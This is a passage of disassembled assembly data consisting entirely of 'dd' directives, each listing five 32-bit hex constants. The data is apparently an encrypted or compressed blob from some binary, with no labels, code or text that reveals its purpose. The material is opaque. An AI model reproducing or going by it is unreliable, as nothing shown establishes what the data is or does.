		dd 0A3C11F1Bh, 0A0D8D612h, 372C2870h, 0C200C2BFh, 69D04F8Ch
		dd 51BD001Ah, 0A3F74B0Fh, 3000DFCCh, 3CB22C59h,	0E34EA17h
		dd 93C253E2h, 68A07A4Eh, 0B0A4B11h, 2C525500h, 0C3C58BFFh
		dd 0BAEC4CE9h, 7A2102Ch, 40FD06BDh, 58819BA9h, 63000C90h
		dd 552FEAE8h, 605DC8h, 0B41F19E0h, 0DD82231h, 0F38F8400h
		dd 0BAC145CDh, 0DDC900A4h, 3E17FF4Fh, 230042DFh, 4A980ADCh
		dd 123182h, 39E1F6FEh, 0CB5306FFh, 14205900h, 404727EDh
		dd 87970071h, 8C919467h, 29006C03h, 0DB821FEFh,	980EE5A6h
		dd 0CB4A1DFDh, 59AD804Dh, 0B5F130FFh, 8009EB39h, 7067BD46h
		dd 0C5DE4h, 6C9A20D1h, 0E649AF8Ch, 0E589FC00h, 1AC84FB5h
		dd 1B3801C5h, 0F98EC69Eh, 0C48420BFh, 8004C048h, 525AF8A1h
		dd 0B40B1E97h, 42CC059h, 2E6623B0h, 5600D372h, 9C987CE9h
		dd 398437h, 0B09B6FCEh,	7AF50875h, 24A9351Ch, 63EB8240h
		dd 45FC61h, 4EEC2FBh, 1B3D0DF3h, 0BF07E07Bh, 0BA05A243h
		dd 5569C8A0h, 1A8F002Fh, 86899C48h, 0BB001BCBh,	82E4EEDCh
		dd 3B65C06Bh, 0FD803426h, 41AE0457h, 0FF001DF3h, 0EA781B5h
		dd 0E14506h, 46803DA8h,	894B677h, 39320B03h, 0D3230948h
		dd 0AED001B2h, 92C2389Bh, 8CF5E0A1h, 364BC700h,	0CC41F1C4h
		dd 0EFEA0022h, 0AC24FADAh, 0E800AF21h, 5DD8B289h, 38C93802h
		dd 0C80003DFh, 288ECC86h, 8D006808h, 0A9825453h, 0F4A70Fh
		dd 0B7A471AFh, 0DA768136h, 0F318E600h, 5562E0B8h, 177A0A28h
		dd 3CA1C89h, 0A9C1A23Ch, 0B03E2AF8h, 0CFC2BE00h, 4DFA3764h
		dd 9C7B005Bh, 416B99FEh, 0D8B55AB8h, 0E1E20081h, 1560F0FBh
		dd 101DE0B1h, 77826EAEh, 60A7BC0Bh, 3AFE4374h, 8A803EE9h
		dd 9FB2FACh, 52003FEDh,	0CC2CA279h, 0E8F40Ch, 47F2D8B0h
		dd 0B388D9F7h, 1174500h, 9BDD1B46h, 84441E61h, 0E94C027h
		dd 159DA6B7h, 0BE7A2900h, 1D227D2Bh, 391A5CC7h,	0C3CD5D00h
		dd 0EABF83CEh, 8DE3F000h, 0ACB0630Ah, 0ACEB4846h, 0C5E62A00h
		dd 0D7D15DEFh, 56BD6500h, 0ADA6BF9Dh, 38570002h, 75490C06h
		dd 470086BAh, 0DBC63BEBh, 0E2F0CAh, 12741140h, 0B1E61309h
		dd 0D7A2E800h, 0FF77FB93h, 88C50029h, 2266654Ch, 4303E736h
		dd 9F6CC73Ah, 0F2887492h, 1D2C0039h, 0DB1C22CDh, 0D2E67874h
		dd 0DE9EF200h, 978E0D83h, 0A760049h, 6F65EF4Ah,	5800E9C4h
		dd 0AB684652h, 16459227h, 49B8EDAEh, 0A884E228h, 0A4B8C089h
		dd 4C000106h, 0C79E385Bh, 279017h, 0EE810AD7h, 1352E81Fh
		dd 6001A0FEh, 9A67C869h, 0ACC08D6Ah, 5A3F00B8h,	0CCBABDDDh
		dd 7D9056D9h, 75DC5800h, 42605371h, 0FAD4007Bh,	0AEB2C029h
		dd 5200ABB7h, 0FE759787h, 0C8636Fh, 343E8F8Bh, 1EC3F4B4h
		dd 0FA685B00h, 9110C442h, 0DC950011h, 0BA43024h, 0BA000A5Ch
		dd 6D2E8966h, 2C7E739h,	8AF5C491h, 87403AB8h, 0D50E769Ch
		dd 0C3809BEDh, 0D83C7346h, 7C83AA49h, 3DDC7D20h, 384CD6FEh
		dd 0B2F29800h, 415942E6h, 0B4F4931Fh, 80001D57h, 45A4BC2Dh
		dd 0F24E438h, 13742996h, 0CBCC0016h, 0E3D35655h, 64FB59h
		dd 0E4D0D15Eh, 72F56Ah,	0C9BC5DC3h, 34351547h, 0FFF3001h
		dd 27071714h, 6B24E0h, 40ABE913h, 0B8F83761h, 41566F00h
		dd 0DF1DD932h, 721701A1h, 8A05EC11h, 0F1AD88Dh,	1B2AF5F4h
		dd 0DB03DCF4h, 520E79D3h, 0FF21008Ch, 3FDA6211h, 2E001248h
		dd 99B38E2h, 1871DDCDh,	287DD8FEh, 483045DBh, 7A5A6082h
		dd 4BDD0042h, 698B9E85h, 0B0346FCh, 0F01895B0h,	0CCE00AAh
		dd 0FB7116E6h, 700B262h, 5772DAFFh, 0B35330h, 3F2E368Eh
		dd 34838518h, 4C00A775h, 0A6AB1582h, 0A59365h, 0D20F2664h
		dd 916E6CEAh, 3D00ECE6h, 0A80DEDBDh, 3560F3h, 42121F10h
		dd 0D6E88439h, 227E0A04h, 0C2806774h, 88D346h, 42706D6Fh
		dd 1E3AA385h, 80033CBEh, 0D05351ABh, 0DC7A69h, 0BB890673h
		dd 321D8843h, 0D43F3100h, 813E47A7h, 8DB06Dh, 342823FDh
		dd 633B36FCh, 0BE16E03h, 0C91899EFh, 0BCF42B7Fh, 154984Dh
		dd 84A42511h, 0DD73C12Eh, 8338D027h, 7553D700h,	52F47A23h
		dd 3C0600D5h, 0B4ABD02Bh, 8004DF1h, 7D311EB5h, 635254h
		dd 0CD2E620Eh, 45A92FD7h, 99EDA500h, 79AB7E4Bh,	1C300098h
		dd 0AFB4888Ah, 0C1760483h, 7D2F500h, 0FFA1BAE4h, 0F43DE05Ah
		dd 1E0A019Ah, 0B4BF1FF6h, 30E44179h, 34C6305Eh,	66AD0901h
		dd 0F3942FE9h, 71AB91DCh, 55C609EEh, 99879331h,	8F0CE0C0h
		dd 0D23F9E84h, 0EA438F9Ah, 0D3B2A188h, 0FBD0B1E0h, 0E7BC00E2h
		dd 658F890Eh, 95903AF7h, 22BBFCE9h, 550CC41Ch, 0F2713E00h
		dd 7D04E723h, 5B0F0090h, 11F0E27Fh, 50F933Bh, 25915CF7h
		dd 3CC0D45Fh, 3FFC5CCh,	81E5D116h, 1FD07CD0h, 0FA0151E7h
		dd 12CE79B8h, 5880099Ch, 0AC08ADB5h, 6AE0D614h,	0DAD4440Bh
		dd 229F00DEh, 3DAA7CB9h, 9900583Dh, 381C09E0h, 7703032Eh
		dd 25415B8Ah, 1691DF92h, 57DC2CBEh, 3901FCFh, 5F9D40FBh
		dd 9CBBE7E3h, 35130200h, 0DC98087Fh, 5C560E8Eh,	3C60442Dh
		dd 937975A1h, 12B13800h, 25094DC6h, 54BE02E2h, 0B5537CC4h
		dd 0F811F761h, 0F23C4B3Fh, 67D5817Fh, 64A38BE1h, 7770B2C1h
		dd 85E05Bh, 3556EE0Dh, 6DE769CEh, 81197500h, 0F7EFC02h
		dd 0B1710758h, 0F3B5B99Ah, 0E9E0CD57h, 5F04D561h, 0B71C5B4Bh
		dd 17E53980h, 57880109h, 5C8289CEh, 0C7FF82Bh, 0B142C20Fh
		dd 434FA01Dh, 0B72ABBh,	847603Bh, 0E422A4ADh, 9D133077h
		dd 3A00F664h, 7A6C5C53h
		dd 8719000Dh, 8543A52Bh, 960022ABh, 0BA63788Bh,	0D76DAh
		dd 2610D164h, 0BF03F745h, 62711700h, 0FD6F7AD8h, 0F33200F4h
		dd 8280DA30h, 6407027Fh, 4160F539h, 0C022A083h,	0F2DC32h
		dd 461DF0B6h, 0D6F37454h, 82980478h, 0EEBD2803h, 0E0B1EAC7h
		dd 88DF4h, 2E618055h, 12D6B63Dh, 3A1DEC00h, 0B27A1CC0h
		dd 67770056h, 0B36C4822h, 5D5C2E27h, 75130013h,	50ADEC24h
		dd 0DF3400B9h, 0D188FA3Dh, 6C00A980h, 482A7F4Dh, 0BAA05h
		dd 1115D531h, 693F51D0h, 806F793Ah, 7619C96Bh, 0B48EFBh
		dd 7BD3BEFDh, 2D68E4C3h, 83C59E00h, 6A62F92Fh, 752E0F22h
		dd 4F61AD56h, 0C82A0502h, 40C09E3Ah, 0EF2D44F0h, 785F83Fh
		dd 0CE8DFC60h, 0BDA57304h, 91F15C8h, 7FEFFB00h,	1057A9F4h
		dd 13C800E4h, 76308A67h, 53039D24h, 7F8015D0h, 94BE0D3h
		dd 585C0001h, 0F78EB2D5h, 0EF4C8D57h, 0D9CE0059h, 0C1BDA268h
		dd 0D190608Ch, 3BC5A1B9h, 7CC03Ch, 0D7CBC8D9h, 0DE1C27h
		dd 8C487D9Ah, 80F016D1h, 2E00FBB8h, 2810391Fh, 5E6244h
		dd 60E1A8B2h, 0CA5570FFh, 0C077E500h, 476EFD68h, 9EDE0056h
		dd 9102D281h, 0A748E486h, 5AD41613h, 0BF27A804h, 0F1CC7F83h
		dd 0E370326Ah, 74280042h, 82D573E6h, 5F0746CBh,	0C0941FD9h
		dd 2600CEF7h, 1676BAAEh, 0F6864FDh, 0F907E822h,	1EC18EC5h
		dd 0C3A3ECB9h, 0D6C8F5F3h, 0D90F27A7h, 0A4F647h, 0AB8C9071h
		dd 0EFF80058h, 1DE9E48Eh, 3A0E3979h, 0A061B3D6h, 10F977F4h
		dd 0FC30003h, 9EB422B0h, 1E000989h, 0AB07CD4Bh,	0ED4F71h
		dd 39243E9h, 0A03BD426h, 535EF800h, 9170DE16h, 0E1CD018Dh
		dd 0B6679CE5h, 60E63139h, 0FD0074CAh, 5A501E55h, 4AD8C2h
		dd 4DB5350Bh, 0B96878E7h, 8A62D400h, 0BD8447B0h, 77677FE0h
		dd 7F1F00FBh, 0F88B61DFh, 0CCB81ECDh, 790B5B00h, 59564E8Dh
		dd 0EDFC0030h, 0DC875A8Ch, 15077607h, 525F5571h, 13F0AE10h
		dd 9B7C0F0Ch, 8B618F83h, 0F4717966h, 0A50AD091h, 941BB629h
		dd 0C2C12360h, 35B1018Bh, 25F7A512h, 7FACD8C6h,	9D0013E4h
		dd 61B47CE8h, 3AA5542h,	6FFD0F01h, 9EE04436h, 24076892h
		dd 65BD9D28h, 0DDC31380h, 9F8D0E5Ch, 5360838Ah,	892B4601h
		dd 0D01CAB00h, 965DEB7Eh, 0C1FCB9h, 9A69D99h, 0DE688B8Eh
		dd 88972B1Eh, 0F0400BCh, 3C021DA8h, 57D100FBh, 4EF279C3h
		dd 360F2C73h, 0C03BB41Eh, 6FB99CF9h, 347A0076h,	4F8EE03Eh
		dd 0BD00A73Fh, 98509F74h, 45B0A5h, 0A039410Dh, 9947B961h
		dd 0DEB48500h, 0D348901Dh, 286F4F5h, 63E31A0Fh,	0DC817062h
		dd 0CC2487C0h, 1D0E1512h, 607A4841h, 9F44D7D9h,	834004Ah
		dd 22F07CE1h, 0B603BD6Ch, 0F1C1BB75h, 9584F160h, 9D8C20h
		dd 80879A8Ch, 79163C5Bh, 0B22B3600h, 0E77BAA77h, 0F7070012h
		dd 0DEFE99ADh, 4A1C3E01h, 6AC0F458h, 6EC07281h,	0AB310003h
		dd 0F5FE14F2h, 4300F605h, 2DD20C3Ah, 80C4F0h, 9752303Bh
		dd 0BF49A464h, 408A000h, 0D9562FBEh, 7C3C1FDAh,	0C01E8E28h
		dd 13924660h, 6500BB19h, 0BFD2AA43h, 44FFFCh, 9CCE2923h
		dd 4D7BC75Ch, 52E19700h, 3978D24Ch, 0C26A007Ah,	29F3DFE3h
		dd 987710EEh, 0CF049901h, 53A60B42h, 0E189AD4h,	37F70ADBh
		dd 2D1D3B01h, 4075C9E2h, 0CF6A97AAh, 4B2B7000h,	0CE8EB552h
		dd 0A7EA00FAh, 7B6CAACBh, 0FC00C718h, 8921CD87h, 71C10C8h
		dd 221F601Ah, 71132004h, 2C00A57Bh, 55B00295h, 0BEA8FCCh
		dd 6969B6Bh, 3BFCAE80h,	0F5000BBEh, 1FD5D815h, 0E50DA1h
		dd 0E074B4C1h, 0AFC6A57Eh, 0BE00A67Ah, 5BB118DCh, 2B141Ah
		dd 49D48C88h, 0DBEAF725h, 102EB503h, 0E0FC6E2Dh, 41886h
		dd 5126FFCBh, 6577691Ch, 38C0D00h, 941B68E7h, 2F6F00F0h
		dd 9F294AD7h, 42FC7C3Eh, 5BBFDE17h, 0D367500h, 0D91BB2h
		dd 2C1122E3h, 2737A644h, 54005FFEh, 90B81E45h, 9A29FCh
		dd 0D99BC0FAh, 0DD9CA39Eh, 0A9408703h, 16F3B8h,	751520B2h
		dd 9901A778h, 8721623Eh, 9CC8E8ADh, 0E9313351h,	0A1D0F0h
		dd 57C9CBEFh, 14D162E2h, 0D3006972h, 7E816D28h,	833B6Bh
		dd 29856A5Bh, 1A2440BEh, 9B73B300h, 9C9A9FB1h, 0C09100B0h
		dd 0D4E156F6h, 77386AA8h, 0A4F801E4h, 3D4F3FA7h, 2EFCECEDh
		dd 939901E8h, 332C10D2h, 5C7AFCD3h, 0BC446700h,	62F3826Ah
		dd 0D196387Dh, 0A5A1E987h, 0C9F1701Eh, 0F400C2C3h, 59043367h
		dd 1C88D787h, 4BD21990h, 0F980CB4Bh, 6CBCAD22h,	0E7C7F3Fh
		dd 2043739Eh, 0EF1F6BA9h, 0F8303BFCh, 2CAD0480h, 847D977Bh
		dd 0D873CB00h, 7346EDEh, 68940087h, 0E9352A23h,	773EDC98h
		dd 218180B7h, 0D92B38B4h, 0F3480079h, 63CFE526h, 0B1026E18h
		dd 0B2A19E43h, 615DC05Ch, 17830111h, 0E191235Bh, 0A159C0EDh
		dd 0F0C273Bh, 0AEBE3AA5h, 71803EBDh, 0C7796C60h, 0C00603D5h
		dd 3134A29Dh, 0AE488BC0h, 70291700h, 0DD3EF762h, 0D4BB0013h
		dd 0E839AC69h, 2600F81Eh, 0E537210Fh, 557657h, 0EF14C6Fh
		dd 0B84E04E9h, 0C38E4F7h, 68F42600h, 2D62505Dh,	0B330074h
		dd 0DF0F9C4Fh, 0B000DC8Fh, 0CAF2BA6h, 75DD8E6h,	0B8A589EFh
		dd 6418D0A3h, 0EC092C51h, 800944F8h, 35ABCF47h,	8FDE005Dh
		dd 32E5DA97h, 61070A72h, 0E831C615h, 0CC81E650h, 17761FCDh
		dd 213C8056h, 26B8FB91h, 9861151Ch, 0D1BAF8C0h,	72540D1Fh
		dd 8D51002Fh, 416BACA9h, 121C1B6Fh, 0E2985066h,	2C8139h
		dd 4B4C6EDh, 84A367CCh,	0A52F5900h, 92BA4C7Fh, 9C2B00F8h
		dd 0EAA76FEBh, 0DC388536h, 614E006Dh, 1FA8FE12h, 3CE50031h
		dd 82C9CEBh, 0E800C3D3h, 0EF628102h, 1C557DBh, 0C853F803h
		dd 80EAF631h, 0C91AC1E0h, 0C0694Dh, 47D834ECh, 65B332A7h
		dd 366AB900h, 0A24E0787h, 0F0FDE2BBh, 70777Ch, 1A0E94D6h
		dd 0AF178F65h, 5E38B700h, 2AB903ECh, 0DBDA00C0h, 0D8A1CA77h
		dd 0B002FEAh, 0E853043Ch, 986C6Dh, 4CCEC67Fh, 0B57E563Dh
		dd 0C803FA00h, 0B969D0E3h, 0C0F70067h, 96813907h, 641E82CCh
		dd 79438C24h, 0D3DF7E9Ch, 5C5ED06Ah, 391400E8h,	0A3CE4DA7h
		dd 0D3005966h, 94EA2A78h, 0CEEC4BE7h, 0F58063E8h, 8E804F33h
		dd 0A99EA11Ch, 0B85F2E80h, 0F2B0A78Ch, 2AF0EF43h, 786004Ah
		dd 3DF1AC48h, 3A00C340h, 14298760h, 5E2F8Bh, 96672CBCh
		dd 2704233Bh, 7FB51900h, 0ACFF9ED7h, 28CB02Fh, 4753F1BCh
		dd 0DF60292Ch, 3D00EB0Fh, 6A42562h, 77329527h, 114B0050h
		dd 2CB605B1h, 0A300F61Ch, 28E4853Ch, 654340h, 0C5BE7C5Dh
		dd 0C26D3611h, 6EEB570Fh, 0EC7C0E7h, 16DC6FA8h,	104A19h
		dd 0D79E8ACBh, 0A1003C48h, 817BCE12h, 60B635h, 0DEF26697h
		dd 0B198A5D5h, 0C87DA81Ch, 0C269FE00h, 0C30B14h, 0A59AA936h
		dd 5AD0489Bh, 82CB6F00h, 4396BD50h, 0BCF2549Ch,	3A726Bh
		dd 0A6D64E85h, 0C1563F2Ah, 0ABDCF800h, 874CCB6Ah, 1FC79882h
		dd 80DD300Bh, 0C39D46E5h, 59301CB6h, 2DAC63Ah, 0BE60FE4h
		dd 0AE04F75h, 0ECAA6D9h, 0BA406C00h, 0CBA964FDh, 58810015h
		dd 0C2CC574Ah, 4E1EF48Fh, 0B0001037h, 3BFFC48Eh, 19F60146h
		dd 6BBEB77Dh, 21F0E798h, 4B0029E6h, 33C5EC90h, 48BB82h
		dd 8E868475h, 1CEA3B8Ch, 3C656F00h, 0E739730Ah,	0D6A10016h
		dd 0F74A984Eh, 600C742Eh, 0D81BA482h, 3027B66h,	0E0926C7Bh
		dd 0DD80FA96h, 19019CADh, 0ACC16367h, 0C8705038h, 7B767737h
		dd 75041C7Bh, 0EC240028h
		dd 6B2B86F3h, 9C713C3Fh, 87BBE433h, 0B44F829Dh,	19BCAEA0h
		dd 0A0C6001Ah, 87BB545h, 5858BA61h, 0C54826h, 65D6EDFCh
		dd 4DE69359h, 0A01C8832h, 80F1DEAFh, 0F21731B3h, 707D42A6h
		dd 0F9E52A00h, 630D4A0Fh, 83823FD3h, 7A2FA280h,	44C672E2h
		dd 2D1D0FE6h, 548907B4h, 716C045Bh, 0AE94C7C0h,	8F3700FFh
		dd 1FA9FDB7h, 0FC030703h, 0BC0BBFF0h, 677FB8DFh, 36C70073h
		dd 7604AEEDh, 271F8F42h, 0C901C65Ch, 8835C390h,	792B0C4h
		dd 6F0BEE49h, 0F11240EDh, 0AF00742Bh, 2EF52D72h, 1352DEh
		dd 4CA2F3FFh, 57E304B5h, 42A7300Bh, 0F8978038h,	4BDA79h
		dd 83931FBh, 0E3DCCD36h, 787C42EAh, 5400E579h, 1D3E1FFCh
		dd 0BB410Eh, 0E238872Ah, 0E6FA896Dh, 207727FAh,	670BC600h
		dd 0A0D2B371h, 1C432636h, 0DB378018h, 9C4A51Eh,	5C2E301h
		dd 871BEDCAh, 19DB7F4h,	6AEEAAECh, 0CEBCA960h, 0D88A637Dh
		dd 0F7C52AD9h, 6460FDDEh, 9F00499Bh, 17ABA9BDh,	181B1Ch
		dd 0E5620720h, 0B72FDA30h, 0E09E5600h, 0D20D3CAFh, 855B0744h
		dd 8A646C54h, 0AEDF0F86h, 0E8162C80h, 614895E9h, 32860134h
		dd 0F8663C46h, 3B6425D4h, 9680EAEFh, 0D1D6A56Fh, 7DE6A0D9h
		dd 0A2367300h, 53101C9Eh, 0AF310099h, 0F27F05A8h, 0E3002BD8h
		dd 0EB777AD6h, 0BEA76h,	0E772F1C9h, 0CCB5C74Ah,	3145E40Bh
		dd 35578050h, 2B2D2Ch, 8FC19366h, 0A0AAFE08h, 56387B00h
		dd 2E6E8CF0h, 0EA6F0942h, 1007C27Fh, 0B0BBD7A9h, 85D04A28h
		dd 7EA46A00h, 1623E70Ah, 99912C33h, 721E00C8h, 24F35B3h
		dd 0F7BB8900h, 0F9DED36Dh, 0A720C098h, 649EE6A3h, 5B68D500h
		dd 0DBCEE086h, 38F40027h, 0A0D8F20h, 8C03C98Dh,	0CC93963Dh
		dd 922CB0C7h, 880400A7h, 349C38A0h, 6400511Ch, 0F2703320h
		dd 7C19ADB9h, 0F83B00BCh, 88E49F27h, 957572CFh,	853F2300h
		dd 0C1C5A464h, 0E99607F0h, 60D84489h, 59DDE195h, 9D567B00h
		dd 4070045Eh, 43CB024Fh, 0AAEBBC25h, 0ED53B4E1h, 4C3020B6h
		dd 808004F5h, 0C426E6A4h, 80DC2E18h, 0B9796AD8h, 0F2192F00h
		dd 4F760E8Ah, 39799Bh, 0A24AB1EAh, 8DC847Ah, 1BBDE100h
		dd 2B6D5F85h, 0E8054E4Eh, 77570003h, 6C2CAE53h,	61893038h
		dd 42841171h, 798660Ch,	186C80DCh, 2058A93Ah, 0C3B7512Ch
		dd 0B2080DFBh, 0E118490Bh, 2E8FF059h, 0F65B1C00h, 196C229Fh
		dd 92073BD0h, 0F85C39h,	0B08F0EA1h, 0C3C9F5AFh,	15A45903h
		dd 60A874h, 6169DD40h, 5CF02523h, 7657EB2Ch, 0B0D4960Dh
		dd 39515FE0h, 31601ACAh, 87D3E8Ah, 0DD943854h, 0E061A53Dh
		dd 0E88639D0h, 83FB0488h, 328C663Eh, 31191Eh, 0FE695Eh
		dd 1145566h, 38C327EEh,	9D8FB00h, 0F1F5D325h, 0AEA3003Fh
		dd 0A8DBB1CAh, 3C1F92A5h, 990588DDh, 80EF6932h,	21AECA0Bh
		dd 602C6D01h, 94AA3CD9h, 2853C4h, 2BF4FB0Ah, 30B696F6h
		dd 0A5980C00h, 4D5FF749h, 0B00D26C3h, 0ED003F08h, 0D5E7B2F8h
		dd 6301272Bh, 0F4B917AFh, 80C87FA6h, 5A0301BFh,	6A9FAE5Eh
		dd 3FF5D0ADh, 828CAA00h, 2B1D1A1h, 1B70ACEh, 81EC215Dh
		dd 0FEDE7EFBh, 8611805Ch, 73AF982Fh, 0AB3C0043h, 897D4BB9h
		dd 1E0DFA5h, 0DAE27000h, 0FFF414B3h, 0DE830049h, 0CA5D75F7h
		dd 0D204B248h, 7ECEBB0Ah, 40A548Dh, 0D39B6882h,	3423E880h
		dd 0A0F8461h, 0FD0BA039h, 816FD2C0h, 0E469AC46h, 585B039Eh
		dd 83359823h, 81C2821h,	6090A0E4h, 48347384h, 0F8624708h
		dd 1893B490h, 0C642908h, 89BA8C88h, 448F0888h, 0E7D04Eh
		dd 0DB4D6Ah, 7E5C3C4Ah,	0C6540C5Dh, 6F655500h, 5F0ADF98h
		dd 695609C5h, 0AB807605h, 291B3158h, 0A5791103h, 0E0741D66h
		dd 16E1E65h, 5B429CD0h,	0FCCB5E57h, 470187B5h, 71608B46h
		dd 0BBEF25FBh, 0ECB9A0CFh, 373B00CAh, 2D6FBADFh, 0D600C3B3h
		dd 98C05AC2h, 0E6BC1Eh,	6ACB6BAFh, 0F04CE158h, 0CF16FF07h
		dd 9590B9CAh, 0E70829h,	94F5576Dh, 2BFA5CC9h, 630FF9B8h
		dd 411DAC9Fh, 5B2CCBDAh, 9371E4h, 0C874435Ah, 0BEAD8D6Ch
		dd 2A545D07h, 0BC303A4Eh, 3CC91h, 304C081Ch, 0F744C361h
		dd 9453B500h, 36F3F565h, 0E45700F2h, 2D2E247Dh,	0CA000D50h
		dd 82CBFB77h, 45AB4Ah, 0F0DB578Bh, 2725A0Bh, 8C29800h
		dd 2B116158h, 0AA7A00E4h, 0A3F35DD6h, 7F009FDDh, 3C23EAE1h
		dd 0E2CAF9E8h, 17BF465h, 3D4BBEBh, 60B175E5h, 98004B56h
		dd 322868DBh, 78F72DB9h, 0F90103BFh, 3982BCDCh,	4129B2D0h
		dd 7C78D500h, 0A27A8BE8h, 123C0794h, 0C02DE28Ah, 36D2D335h
		dd 0CB6FB700h, 52D150D0h, 6B060485h, 0C15A1691h, 0C2121368h
		dd 0D2763060h, 0C4A76100h, 8FA5DB2Ah, 78F02Dh, 0A4661595h
		dd 1163CFB9h, 0DA944D00h, 0F6FC2803h, 0C6F0FDh,	0C3759915h
		dd 0FA49EA42h, 0B7DB6809h, 0F0082092h, 3A52A8Ah, 0C401CEAAh
		dd 2B98FD3Eh, 0B1005E5Ch, 0A31CAC99h, 0C04C5174h, 85718812h
		dd 0A4E611FEh, 23266707h, 80195BFAh, 8AEA4C44h,	99CA00F6h
		dd 2D7A40EFh, 800E9525h, 0FF1F4634h, 4A146D40h,	385D96h
		dd 0C0DEA36Eh, 0BF2EA274h, 0A03A3200h, 0F766C5EFh, 84EEAFh
		dd 0CF37188Dh, 0D3C07515h, 3100E7E8h, 53EDC2E6h, 14AC3B9Bh
		dd 88D6A445h, 43D14B00h, 0F78F169Dh, 0EEBB2D00h, 0E9934FEAh
		dd 34C96082h, 0A516A3E3h, 1B94C4A0h, 0A7366907h, 0C600C54Ch
		dd 985D20ACh, 0F7902Ch,	0BBB64F9Dh, 0FB04FFE6h,	8098183Bh
		dd 17581CEAh, 8F566Ah, 0C740A53h, 0C4CF3F08h, 9DBC700h
		dd 4E554691h, 1387AFAh,	5860D7B1h, 0E48D7505h, 0EFF8D102h
		dd 547AD500h, 468AC4DAh, 539C0092h, 0B58FD4A7h,	0AE05D0B1h
		dd 49F537FEh, 145F3490h, 2B70E4Ch, 0AEAB4F10h, 187AFA00h
		dd 0DE00BAC6h, 61CB07D1h, 3D63CE9h, 2CBB4ADDh, 0D2C822C5h
		dd 57039C23h, 7A96B35Ch, 8E3EC8A3h, 0AAB10BE5h,	0B98770E4h
		dd 75A5C014h, 96023382h, 9FD7F7B4h, 5CE941DFh, 0CB04E8h
		dd 78FEB759h, 313A8E66h, 0F817811Ch, 2FF9DB40h,	3F18C19Eh
		dd 0AA800D41h, 0A6D27FBCh, 0B201949Dh, 8F684D48h, 0BBC06F77h
		dd 0D43E0399h, 0C93B9C1Eh, 0A1D7FC02h, 0C030E188h, 131C32C3h
		dd 7A162Ah, 5524227Ch, 0C000AA34h, 6EC7BD13h, 0D89762h
		dd 6C0EE99Dh, 8931BF3Eh, 81A48B3Bh, 293B55FAh, 7BC8607Dh
		dd 3CE2009Dh, 20E69278h, 2D0035BBh, 0DD634D75h,	306DB318h
		dd 28321A53h, 13009F81h, 0CCC4D684h, 8BBCD1h, 0C8E81659h
		dd 0B192E53Ch, 80CB4900h, 0B6F1B33h, 3A30032Dh,	9F6491DFh
		dd 0F1EF29E0h, 0B3C67F00h, 0A49D0B5Bh, 4B4F0017h, 3C5E04D6h
		dd 0AA00C73Ah, 69586F1Ah, 3E1BCCh, 0AED4F428h, 0EF44AF01h
		dd 0EB92FD03h, 0BB1077CDh, 8A3CD80Dh, 0E01F2C13h, 9A0F0080h
		dd 233DAE76h, 0EDD5300h, 3ABB6895h, 0A77C24B5h,	2A081B0h
		dd 0C030592Bh, 32781DCFh, 751F9977h, 7600C606h,	2601C503h
		dd 16A40254h, 0A00C4886h, 6C0807Dh, 59E8E9h, 0AA3DF856h
		dd 0BD309F40h, 0E693100h, 2F77B964h, 52240059h,	60CC51EEh
		dd 9E0010DEh, 0CFD8EA0Fh, 1C5C76h, 16492086h, 1A4005A0h
		dd 4A3D6100h, 0EC6DDFF4h, 0D6230337h, 0CCF96563h, 2A771FB8h
		dd 83CDC039h, 6F1EFE5Dh, 74C38899h, 90157079h, 19800A9h
		dd 0A955439Fh, 520133EAh, 0AD64FB1Dh, 0E42062C3h, 0DEE10353h
		dd 0FF61BFDBh, 485CE048h, 5C7E26ADh, 9500ED17h,	5FA8403Bh
		dd 0C5370112h, 6F58A4F6h
		dd 0FC96C4E6h, 13863212h, 0A167FD07h, 1B5D3DE0h, 97270E94h
		dd 0C8006235h, 2A1520ADh, 753EE403h, 98B72807h,	1CD23C19h
		dd 803FA2D7h, 4EBA6B99h, 0CBFFF23Eh, 0EE9FD0F8h, 0BAB8723Fh
		dd 698A0087h, 74D9496Ch, 8FE40E90h, 64C0F5FCh, 0C0D807C4h
		dd 0C94C1E09h, 0C65F00D1h, 704DE719h, 524A01EEh, 20F0EF5Ch
		dd 0AAF6C055h, 85A9CA00h, 5F433773h, 1E47561h, 0DD2D77E3h
		dd 0FC9C66CFh, 0F502A6A8h, 0DBE02BAFh, 0C60412Eh, 1091BE4h
		dd 20E5C5D6h, 0FCAEE43Ch, 0F2008C10h, 0F6C78A8Bh, 0C558D9h
		dd 0EC655147h, 0BC31220Fh, 0DF95181Eh, 0D9F75A40h, 1367DBh
		dd 2D3BD742h, 0DD9BFC1Ah, 182F8100h, 7CD466E6h,	167EA49h
		dd 0B6A72146h, 3004966Ah, 0AD00EA78h, 4F0FFADFh, 3BFE91E0h
		dd 119F5EC8h, 0F8938099h, 0D494E1ABh, 59560C03h, 0D07B889Ch
		dd 51BA89h, 850FD962h, 0A69EA4E7h, 976C2E24h, 0C037C26h
		dd 0E89FE638h, 0A5E47Ch, 0C5A3D763h, 0FA7B7292h, 90B6972h
		dd 478388h, 0B934A070h,	8BF6070Dh, 12D02758h, 1C4642CAh
		dd 800C48h, 167172B4h, 18F2CBBEh, 4045F6E2h, 60001E27h
		dd 0B70C7908h, 389BA7Eh, 0CD2C76E1h, 95D3E445h,	0C6D42800h
		dd 0DEA2FDF0h, 0BE6800C4h, 9A36AB32h, 2902F748h, 3BBFB8ADh
		dd 0EC60DDB4h, 0D51B282Bh, 88DA7E08h, 4CAE260Ah, 0DB81285Ah
		dd 0D5C542h, 0C08D08h, 0AEE6102h, 0E55491FCh, 0FF92F40Eh
		dd 0FE76C1A1h, 0EACC4B23h, 0B0C6989Bh, 0BF6500B3h, 9EEBFAF4h
		dd 0F500030Eh, 10405781h, 0F185CA9h, 0CF597052h, 0F4AF9A00h
		dd 8675E3ADh, 1B4C403h,	0F0854633h, 0E8D57FA6h,	0F8430056h
		dd 798FFAC5h, 9F003DD1h, 0D342461Fh, 8DEC2Fh, 0CB50BDB5h
		dd 6B274990h, 0A5B8BB05h, 888052F9h, 0F802D38Eh, 93F33A03h
		dd 901EE980h, 0DB261A1Dh, 1801A774h, 918CEDC0h,	306517h
		dd 0CAFD0925h, 0A48FAEFAh, 36449B23h, 0E8019380h, 0F99ED00h
		dd 94D70535h, 0A0D000A6h, 192C81C9h, 0D50069E1h, 3088C875h
		dd 1DDAD15h, 45126D3Eh,	0E81B5E5Ah, 80077CF6h, 30B87366h
		dd 20B1011Eh, 7CC54E9h,	83F700BFh, 6F6D45Ch, 4B3A84A6h
		dd 0B9F0875Eh, 7B0050E9h, 27AABCCBh, 2000AD59h,	625E3E10h
